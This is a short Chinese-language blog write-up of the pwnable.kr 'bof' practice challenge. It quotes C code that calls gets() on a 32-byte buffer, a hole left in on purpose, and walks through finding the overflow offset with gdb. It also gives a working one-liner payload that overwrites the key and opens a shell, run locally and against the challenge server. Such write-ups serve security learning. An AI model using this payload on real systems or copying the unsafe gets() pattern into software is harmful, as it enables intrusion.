writeup-bof

原创

charlie_heng 于 2016-11-21 22:54:27 发布 409 收藏 1

分类专栏： 二进制-逆向工程 文章标签： 逆向工程

Nana told me that buffer overflow is one of the most common software vulnerability.
Is that true?

Download : http://pwnable.kr/bin/bof
Download : http://pwnable.kr/bin/bof.c

Running at : nc pwnable.kr 9000

下载了附件，先扔去binwalk看下是多少位的，然后打开bof.c，
代码如下

```
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
    char overflowme[32];
    printf("overflow me : ");
    gets(overflowme);    // smash me!
    if(key == 0xcafebabe){
        system("/bin/sh");
    }
    else{
        printf("Nah..\n");
    }
}
int main(int argc, char* argv[]){
    func(0xdeadbeef);
    return 0;
}
```

然后把bof扔进IDA里面静态分析一下，发现有gs保护。。本来以为要绕过。。看了下别人的wp才知道可以无视。。。

把bof扔到gdb里面调试一下，step到输入那里，输12个a试下，然后查一下内存，发现缓存区大概有52个字节，于是构造一下语句 (python -c “print ‘x’*52 +’\xbe’ +’\xba’+’\xfe’+’\xca’”;cat)|./bof 成功进入sh，然后连上服务器(python -c “print ‘x’*52 +’\xbe’ +’\xba’+’\xfe’+’\xca’”;cat)|nc pwnable.kr 9000
拿到flag
daddy, I just pwned a buFFer :)